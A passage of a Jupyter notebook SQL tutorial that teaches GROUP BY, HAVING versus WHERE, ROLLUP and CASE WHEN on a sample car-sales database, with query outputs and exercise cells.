and functions, can help you quickly see trends in your data. Parse out what's going on here:" ] }, { "cell_type": "code", "execution_count": 61, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Min_to_Max_Sale</th>\n", " <th>Range</th>\n", " <th>Average_Sale</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Tundra</td>\n", " <td> 20174 - 25938</td>\n", " <td> 5764</td>\n", " <td> 22859.44</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Prius</td>\n", " <td> 18150 - 23958</td>\n", " <td> 5808</td>\n", " <td> 21244.14</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Outback</td>\n", " <td> 18671 - 24646</td>\n", " <td> 5975</td>\n", " <td> 21160.40</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Accord</td>\n", " <td> 17020 - 21441</td>\n", " <td> 4421</td>\n", " <td> 19562.33</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Camry</td>\n", " <td> 16720 - 21780</td>\n", " <td> 5060</td>\n", " <td> 19280.00</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Forester</td>\n", " <td> 16646 - 21751</td>\n", " <td> 5105</td>\n", " <td> 18280.27</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Civic</td>\n", " <td> 13642 - 18008</td>\n", " <td> 4366</td>\n", " <td> 15788.60</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Corolla</td>\n", " <td> 12640 - 15360</td>\n", " <td> 2720</td>\n", " <td> 14080.00</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Min_to_Max_Sale Range Average_Sale\n", "0 Tundra 20174 - 25938 5764 22859.44\n", "1 Prius 18150 - 23958 5808 21244.14\n", "2 Outback 18671 - 24646 5975 21160.40\n", "3 Accord 17020 - 21441 4421 19562.33\n", "4 Camry 16720 - 21780 5060 19280.00\n", "5 Forester 16646 - 21751 5105 18280.27\n", "6 Civic 13642 - 18008 4366 15788.60\n", "7 Corolla 12640 - 15360 2720 14080.00" ] }, "execution_count": 61, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model AS Car_Model, \n", " MIN(S.revenue) || ' - ' || MAX(S.revenue) AS Min_to_Max_Sale,\n", " MAX(S.revenue) - MIN(S.revenue) AS Range,\n", " ROUND(AVG(S.revenue), 2) AS Average_Sale\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY\n", " Car_Model\n", " ORDER BY\n", " Average_Sale DESC\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can also use GROUP BY with multiple columns to segment out the results further:" ] }, { "cell_type": "code", "execution_count": 62, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>car_caker</th>\n", " <th>payment_type</th>\n", " <th>avg_revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17028</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 19030</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 19581</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 20363</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 20437</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 19183</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " car_caker payment_type avg_revenue\n", "0 Honda cash 17028\n", "1 Honda finance 19030\n", "2 Subaru cash 19581\n", "3 Subaru finance 20363\n", "4 Toyota cash 20437\n", "5 Toyota finance 19183" ] }, "execution_count": 62, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.make AS car_caker, \n", " payment_type,\n", " ROUND(AVG(revenue)) as avg_revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY\n", " C.Make, \n", " payment_type\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query to find the total revenue grouped by each salesperson's first_name and by the customer's gender (gender column in cust_table)**\n", "- **For an extra challenge, use the concatenating operator to use the salesperson's full name instead**\n", "- **Add COUNT(S.id) to the SELECT clause to see the number of transactions in each group**" ] }, { "cell_type": "code", "execution_count": 63, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 63, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(group_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "______________\n", "________\n", "______________\n", "________\n", "______________\n", "\n", "##\"HAVING\" in GROUP BY statements:\n", " SELECT\n", " column_a,\n", " SUM(column_b) AS alias_b\n", " FROM\n", " table_name\n", " GROUP BY\n", " column_a HAVING alias_b > x # only includes groups in column_a when the sum of column_b is greater than x \n", "\n", "- If you've applied a function to a column and want to filter to only show results meeting a particular criteria, use HAVING in your GROUP BY clause.\n", "- More on HAVING: http://www.w3schools.com/sql/sql_having.asp\n", "\n", "The query below will sum up all the revenue for each car maker, but it will only show you results for car maker's whose total revenue is greater than 50,000:" ] }, { "cell_type": "code", "execution_count": 64, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Maker</th>\n", " <th>Total_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Subaru</td>\n", " <td> 518489</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Toyota</td>\n", " <td> 1030129</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Maker Total_Revenue\n", "0 Subaru 518489\n", "1 Toyota 1030129" ] }, "execution_count": 64, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Make as Car_Maker, \n", " SUM(revenue) as Total_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " GROUP BY\n", " Car_Maker HAVING Total_Revenue > 500000\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query above to look at average revenue per model, and using HAVING to filter your result-set to only include models whose average revenue is less than 18,000:**" ] }, { "cell_type": "code", "execution_count": 65, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 65, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(having_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### HAVING vs WHERE:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "WHERE filters which rows will be included in the function, whereas HAVING filters what's returned *after* the function has been applied.\n", "\n", "Take a look at the query below. It might look like the query you just wrote (above) if you'd tried to use WHERE instead of HAVING:\n", "\n", " SELECT \n", " C.model as Car_Model,\n", " AVG(S.revenue) as Avg_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " WHERE \n", " S.revenue < 18000\n", " GROUP BY\n", " Car_Model\n", "\n", "1. Find the sales_table and join it to the car_table\n", "2. Pull the data from the 'model' column in car_table and 'revenue' column in sales_table\n", "3. Filter out all rows where revenue is less than 18000\n", "4. Average remaining rows for each Car_Model\n", "\n", "Even though AVG( ) appears early in the query, it's not actually being applied until **after** the WHERE statement has filtered out rows with less than 18,000 in revenue.\n", "\n", "This is the result:" ] }, { "cell_type": "code", "execution_count": 66, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Avg_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 17462.333333</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 17160.000000</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 15542.000000</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 14080.000000</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 17438.714286</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Avg_Revenue\n", "0 Accord 17462.333333\n", "1 Camry 17160.000000\n", "2 Civic 15542.000000\n", "3 Corolla 14080.000000\n", "4 Forester 17438.714286" ] }, "execution_count": 66, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " C.model as Car_Model,\n", " AVG(S.revenue) as Avg_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " WHERE \n", " S.revenue < 18000\n", " GROUP BY\n", " Car_Model\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "All model_ids are returned, but the averages are all much lower than they should be. That's because the query *first* drops all rows that have revenue greater than 18000, and *then* averages the remaining rows.\n", "\n", "When you use HAVING, SQL follows these steps instead (this query should look like the one you wrote in the last challenge):\n", "\n", "\tSELECT\n", " C.model as Car_Model,\n", " AVG(S.revenue) as Avg_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " GROUP BY\n", " Car_Model HAVING Avg_Revenue < 18000\n", " \n", "1. Find the sales_table and join it to the car_table (same as before)\n", "2. Pull the data from the 'model' column in car_table and 'revenue' column in sales_table (same as before)\n", "3. Average the rows for each Car_Model\n", "4. Return only the Car_Models whose averages are less than 18,000\n", "\n", "And as you can see, there's a big difference in these results and the results of the query that used \"WHERE\" instead of HAVING:" ] }, { "cell_type": "code", "execution_count": 67, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Avg_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Civic</td>\n", " <td> 15788.6</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Corolla</td>\n", " <td> 14080.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Avg_Revenue\n", "0 Civic 15788.6\n", "1 Corolla 14080.0" ] }, "execution_count": 67, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model as Car_Model,\n", " AVG(S.revenue) as Avg_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " GROUP BY\n", " Car_Model HAVING Avg_Revenue < 18000\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### HAVING & WHERE in the same query:" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- *Sometimes*, you will want to use WHERE and HAVING in the same query\n", "- Just be aware of the order of the steps that SQL takes\n", "- Rule of thumb: if you're applying a function to a column, you probably don't want that column in there WHERE clause\n", "\n", "This query is only looking at Toyotas whose revenue is less than 18,000, using WHERE to limit the results to Toyotas, and HAVING to limit the results by revenue:" ] }, { "cell_type": "code", "execution_count": 68, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Avg_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Corolla</td>\n", " <td> 14080</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Avg_Revenue\n", "0 Corolla 14080" ] }, "execution_count": 68, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model as Car_Model,\n", " AVG(S.revenue) as Avg_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id\n", " WHERE\n", " C.make = 'Toyota'\n", " GROUP BY\n", " Car_Model HAVING Avg_Revenue < 18000\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Write a query with the following criteria:**\n", "- **SELECT clause:**\n", " - salesman's last name and average revenue, rounded to the nearest cent\n", "- **FROM clause:**\n", " - sales_table joined with the salesman_table and the cust_table\n", "- **WHERE clause: **\n", " - only female customers\n", "- **GROUP BY clause:**\n", " - only salespeople whose average revenue was greater than 20,000\n", "\n", "**So, in plain English, we want to see salespeople whose average revenue for female customers is greater than 20,000**" ] }, { "cell_type": "code", "execution_count": 69, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 69, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(having_where_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "__________\n", "___________\n", "__________\n", "___________\n", "__________\n", "\n", "# ROLLUP\n", " SELECT\n", " column_a,\n", " SUM(column_b)\n", " FROM\n", " table_x\n", " GROUP BY\n", " ROLLUP(column_a) # adds up all groups' values in a single final row \n", " \n", "\n", "- Rollup, used with GROUP BY, provides subtotals and totals for your groups\n", "- Useful for quick analysis\n", "- Varies by RDBMS" ] }, { "cell_type": "code", "execution_count": 70, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>ROLLUP</th>\n", " <td> GROUP BY column_a WITH ROLLUP</td>\n", " <td> GROUP BY column_a WITH ROLLUP</td>\n", " <td> GROUP BY ROLLUP (column_a)</td>\n", " <td> not supported</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server MySQL \\\n", "ROLLUP GROUP BY column_a WITH ROLLUP GROUP BY column_a WITH ROLLUP \n", "\n", " Oracle SQLite \n", "ROLLUP GROUP BY ROLLUP (column_a) not supported " ] }, "execution_count": 70, "metadata": {}, "output_type": "execute_result" } ], "source": [ "rollup_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Because SQLite doesn't support ROLLUP, the query below is just intended to illustrate how ROLLUP would work. Don't worry about understanding the query itself, just get familiar with what's going on in the result-set:" ] }, { "cell_type": "code", "execution_count": 71, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Sum_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 234748</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 212080</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 157886</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 154880</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 201083</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Outback</td>\n", " <td> 317406</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Prius</td>\n", " <td> 297418</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Tundra</td>\n", " <td> 365751</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> NULL</td>\n", " <td> 1941252</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Sum_Revenue\n", "0 Accord 234748\n", "1 Camry 212080\n", "2 Civic 157886\n", "3 Corolla 154880\n", "4 Forester 201083\n", "5 Outback 317406\n", "6 Prius 297418\n", "7 Tundra 365751\n", "8 NULL 1941252" ] }, "execution_count": 71, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model AS Car_Model, \n", " SUM(S.revenue) as Sum_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY C.model\n", " \n", " UNION ALL\n", " \n", " SELECT \n", " 'NULL', \n", " SUM(S.revenue)\n", " FROM \n", " sales_table S\n", "''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_______\n", "________\n", "_______\n", "________\n", "_______\n", "\n", "##Conditional Expressions: IF & CASE WHEN\n", " SELECT\n", " CASE WHEN column_a = x THEN some_value\n", " WHEN column_a = y THEN some_value2\n", " ELSE some_other_value\n", " END some_alias # alias optional after END\n", " FROM\n", " table_name\n", "\n", "- Conditional expressions let you use IF/THEN logic in SQL\n", "- In SQLite, you have to use CASE WHEN, but in other RDBMS you may prefer to use IF, depending on your needs\n", "- More on CASE WHEN: http://www.dotnet-tricks.com/Tutorial/sqlserver/1MS1120313-Understanding-Case-Expression-in-SQL-Server-with-Example.html" ] }, { "cell_type": "code", "execution_count": 72, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>IF</th>\n", " <td> IF condition PRINT value_if_true...</td>\n", " <td> IF(condition, value_if_true, value_if_false)</td>\n", " <td> IF condition THEN value_if_true ELSIF...END IF</td>\n", " <td> not supported</td>\n", " </tr>\n", " <tr>\n", " <th>CASE WHEN</th>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server \\\n", "IF IF condition PRINT value_if_true... \n", "CASE WHEN ✓ \n", "\n", " MySQL \\\n", "IF IF(condition, value_if_true, value_if_false) \n", "CASE WHEN ✓ \n", "\n", " Oracle SQLite \n", "IF IF condition THEN value_if_true ELSIF...END IF not supported \n", "CASE WHEN ✓ ✓ " ] }, "execution_count": 72, "metadata": {}, "output_type": "execute_result" } ], "source": [ "conditional_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Starting with a simple example, here we'll use CASE WHEN to create a new column on the sales_table:" ] }, { "cell_type": "code", "execution_count": 73, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>revenue</th>\n", " <th>Conditional_Column</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 21222</td>\n", " <td> Revenue is more than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 19140</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 14720</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19010</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 22022</td>\n", " <td> Revenue is more than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 21409</td>\n", " <td> Revenue is more than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 19894</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 12960</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> 25938</td>\n", " <td> Revenue is more than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> 19844</td>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " revenue Conditional_Column\n", "0 21222 Revenue is more than 20,000\n", "1 19140 \n", "2 14720 \n", "3 19010 \n", "4 22022 Revenue is more than 20,000\n", "5 21409 Revenue is more than 20,000\n", "6 19894 \n", "7 12960 \n", "8 25938 Revenue is more than 20,000\n", "9 19844 " ] }, "execution_count": 73, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " revenue, \n", " CASE WHEN revenue > 20000 THEN 'Revenue is more than 20,000' \n", " END Conditional_Column\n", " FROM\n", " sales_table\n", " LIMIT 10\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "CASE WHEN gives you the value \"Revenue is more MORE 20,000\" when revenue in that same row is greater than 20,000. Otherwise, it has no value.\n", "\n", "Now let's add a level:" ] }, { "cell_type": "code", "execution_count": 74, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>revenue</th>\n", " <th>Conditional_Column</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 21222</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 19140</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 14720</td>\n", " <td> Revenue is LESS than 15,000</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19010</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 22022</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 21409</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 19894</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 12960</td>\n", " <td> Revenue is LESS than 15,000</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> 25938</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> 19844</td>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " revenue Conditional_Column\n", "0 21222 Revenue is MORE than 20,000\n", "1 19140 \n", "2 14720 Revenue is LESS than 15,000\n", "3 19010 \n", "4 22022 Revenue is MORE than 20,000\n", "5 21409 Revenue is MORE than 20,000\n", "6 19894 \n", "7 12960 Revenue is LESS than 15,000\n", "8 25938 Revenue is MORE than 20,000\n", "9 19844 " ] }, "execution_count": 74, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " revenue, \n", " CASE WHEN revenue > 20000 THEN 'Revenue is MORE than 20,000' \n", " WHEN revenue < 15000 THEN 'Revenue is LESS than 15,000'\n", " END Conditional_Column\n", " FROM\n", " sales_table\n", " LIMIT 10\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now to deal with the blank spaces. You can assign an \"ELSE\" value to catch anything that's not included in the prior expressions:" ] }, { "cell_type": "code", "execution_count": 75, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>revenue</th>\n", " <th>Conditional_Column</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 21222</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 19140</td>\n", " <td> NEITHER</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 14720</td>\n", " <td> Revenue is LESS than 15,000</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19010</td>\n", " <td> NEITHER</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 22022</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 21409</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 19894</td>\n", " <td> NEITHER</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 12960</td>\n", " <td> Revenue is LESS than 15,000</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> 25938</td>\n", " <td> Revenue is MORE than 20,000</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> 19844</td>\n", " <td> NEITHER</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " revenue Conditional_Column\n", "0 21222 Revenue is MORE than 20,000\n", "1 19140 NEITHER\n", "2 14720 Revenue is LESS than 15,000\n", "3 19010 NEITHER\n", "4 22022 Revenue is MORE than 20,000\n", "5 21409 Revenue is MORE than 20,000\n", "6 19894 NEITHER\n", "7 12960 Revenue is LESS than 15,000\n", "8 25938 Revenue is MORE than 20,000\n", "9 19844 NEITHER" ] }, "execution_count": 75, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " revenue,\n", " CASE WHEN revenue > 20000 THEN 'Revenue is MORE than 20,000' \n", " WHEN revenue < 15000 THEN 'Revenue is LESS than 15,000'\n", " ELSE 'NEITHER'\n", " END Conditional_Column\n", " FROM\n", " sales_table\n", " LIMIT 10\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can use values from another column as well. Remember this query from the GROUP BY lesson? It's often helpful to look at information broken out by multiple groups, but it's not especially easy to digest:" ] }, { "cell_type": "code", "execution_count": 76, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>car_maker</th>\n", " <th>payment_type</th>\n", " <th>avg_revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17028</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 19030</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", 